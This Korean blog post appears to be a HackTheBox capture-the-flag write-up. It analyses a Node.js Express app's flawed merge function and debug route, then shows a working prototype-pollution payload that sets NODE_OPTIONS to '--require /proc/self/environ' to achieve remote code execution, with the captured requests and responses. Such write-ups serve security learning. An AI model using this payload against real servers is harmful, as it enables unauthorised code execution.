티스토리 뷰
728x90
반응형
Web Preview
- 처음에 웹사이트를 들어가면 아래와 같이 보입니다.
- json 형태의 body data를 보내는 radio input form 이 존재했습니다.
Code Review
- 소스코드가 제공되었기에 코드부터 먼저 분석해보았습니다.
디렉토리 구조는 위와 같습니다.
- 먼저 index.js 코드를 살펴보겠습니다. express 웹서버를 사용하고 있고 routes 폴더에 라우터들을 관리하고 있습니다.
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const routes = require('./routes');
const path = require('path');
app.use(bodyParser.json());
app.set('views','./views');
app.use('/static', express.static(path.resolve('static')));
app.use(routes);
app.all('*', (req, res) => {
return res.status(404).send('404 page not found');
});
app.listen(1337, () => console.log('Listening on port 1337'));
- routes/index.js 내용을 보겠습니다. 중요한 코드는 DebugHelper 와 ObjectHelper 입니다.
const randomize = require('randomatic');
const path = require('path');
const express = require('express');
const router = express.Router();
const StudentHelper = require('../helpers/StudentHelper');
const ObjectHelper = require('../helpers/ObjectHelper');
const DebugHelper = require('../helpers/DebugHelper');
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.get('/debug/:action', (req, res) => {
return DebugHelper.execute(res, req.params.action);
});
router.post('/api/calculate', (req, res) => {
let student = ObjectHelper.clone(req.body);
if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
return res.send({
'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
});
}
return res.send({
'pass': 'Passed'
});
});
module.exports = router;
- 우선 DebugHelper 부터 보겠습니다. child_process.execSync 를 사용해서 명령을 실행하고 있습니다. node.js 에서는 NODE_OPTIONS 환경변수를 덮어쓰기가 가능하다면 RCE 까지 이어질 수 있을 것으로 보이는 타겟입니다.
const { execSync, fork } = require('child_process');
module.exports = {
execute(res, command) {
res.type('txt');
if (command == 'version') {
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
proc.stderr.pipe(res);
proc.stdout.pipe(res);
return;
}
if (command == 'ram') {
return res.send(execSync('free -m').toString());
}
return res.send('invalid command');
}
}
- 그리고 ObjectHelper 코드를 보겠습니다. merge 함수를 보아 Prototype Pollution 타겟으로 보입니다. isValidKey 부분은 __proto__ 라는 문자열을 필터링하고 있는데 constructor을 이용하면 충분히 우회할 수 있을 것으로 보입니다.
module.exports = {
isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
},
isValidKey(key) {
return key !== '__proto__';
},
merge(target, source) {
for (let key in source) {
if (this.isValidKey(key)){
if (this.isObject(target[key]) && this.isObject(source[key])) {
this.merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
},
clone(target) {
return this.merge({}, target);
}
}
- 결론적으로 아래와 같은 순서로 exploit 을 시도해볼 수 있을 것 같습니다.
// 1. ObjectHelper.clone 에서 javascript prototype pollution 으로 NODE_OPTIONS pollute 시도
router.post('/api/calculate', (req, res) => {
let student = ObjectHelper.clone(req.body);
... 생략 ...
});
// 2. DebugHelper.execute 에서 자식 프로세스를 생성하는 fork 함수를 호출하여 RCE 시도
const { execSync, fork } = require('child_process');
module.exports = {
execute(res, command) {
res.type('txt');
if (command == 'version') {
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
... 생략 ...
}
}
}
- 문제 자체는 지금까지 워게임 풀었던 것 중에서는 dreamhack 에서 pocas 가 만들었던 environment pollution 와 가장 유사하고 hackthebox 에서는 gunship 문제와 약간 비슷한 문제인 것으로 보입니다.
- 우선 제가 아는 방법 중에 NODE_OPTIONS 를 이용해서 자식 프로세스가 동작하기 전에 실행할 것으로 파일을 지정할 수 있는 것으로 아는데, 어떤 파일을 타겟으로 할 지 고민해봐야 했습니다.
- 파일 업로드 기능은 없는 것으로 보아 임의의 파일을 실행시키기엔 어려워 보였습니다. 하지만 문득 이전에 Toxic 문제에서 사용했던 Log Poisoning 과 같은 방법이 생각났습니다. 하지만 설정파일을 보아하니 logfile 이 /dev/null 로 지정되어 있어 로깅은 하지 않는 것으로 생각되었습니다. 그러다가 찾아보다가 환경변수를 javascript prototype pollution 으로 pollute 시킬 수 있다고 하는 것을 보았습니다. (참고 : https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ )
- 위 참고 사이트 내용에는 /proc/self/environ 경로에 env 환경변수 설정 값들이 모두 담겨있다고 설명하고 있습니다. 해서 이 파일을 NODE_OPTIONS 에 설정하고, env 환경변수에 payload를 삽입하게 되면 RCE가 가능하게 된다고 말합니다.
Exploit
- Payload 는 아래와 같습니다.
POST /api/calculate HTTP/1.1
Host: 104.248.169.123:32095
Content-Length: 167
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://104.248.169.123:32095
Referer: http://104.248.169.123:32095/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{
"constructor":{
"prototype":{
"env":{
"RCE":"console.log(require('child_process').execSync('ls').toString())//"
},
"NODE_OPTIONS":"--require /proc/self/environ"
}
}
}
- 위 페이로드를 전송하게 되면 이제 env 환경변수엔 RCE라는 이름의 ls 명령을 수행하고 그 결과를 문자열로 만들어 출력해주는 구문이 삽입되게 됩니다. cat /proc/self/environ 한 결과를 보도록 하겠습니다.
// cat /proc/self/environ 결과
RCE=console.log(require('child_process').execSync('ls').toString())//
NODE_OPTIONS=--require /proc/self/environ
- 위와 같이 환경변수 파일에는 저희가 삽입한 페이로드가 잘 삽입된 것을 확인할 수 있습니다. 그리고 NODE_OPTIONS 도 잘 삽입된 것을 볼 수 있습니다. 이제 해당 페이로드를 실행시키기만 하면 될 것 같습니다. /debug/version 경로로 GET request를 전송했을 때의 response 데이터는 아래와 같습니다.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Date: Sun, 17 Oct 2021 17:46:15 GMT
Connection: close
Content-Length: 149
VersionCheck.js
flag_e1T6f
helpers
index.js
node_modules
package-lock.json
package.json
routes
static
views
Everything is OK (v12.18.1 == v12.18.1)
- 이렇게 flag 파일 명이 노출되는 것을 알 수 있습니다. 이제 현재 경로에 있는 flag_e1T6f 파일의 내용을 출력하기만 하면 플래그를 획득할 수 있게 됩니다.
HTB{.....가려짐......}
728x90
반응형
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] dragon Writeup/문제풀이 (0) | 2021.10.25 |
---|---|
[Lord of SQLi] xavis Writeup/문제풀이 (0) | 2021.10.22 |
[FTZ] level4 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[FTZ] level3 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[FTZ] level2 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
댓글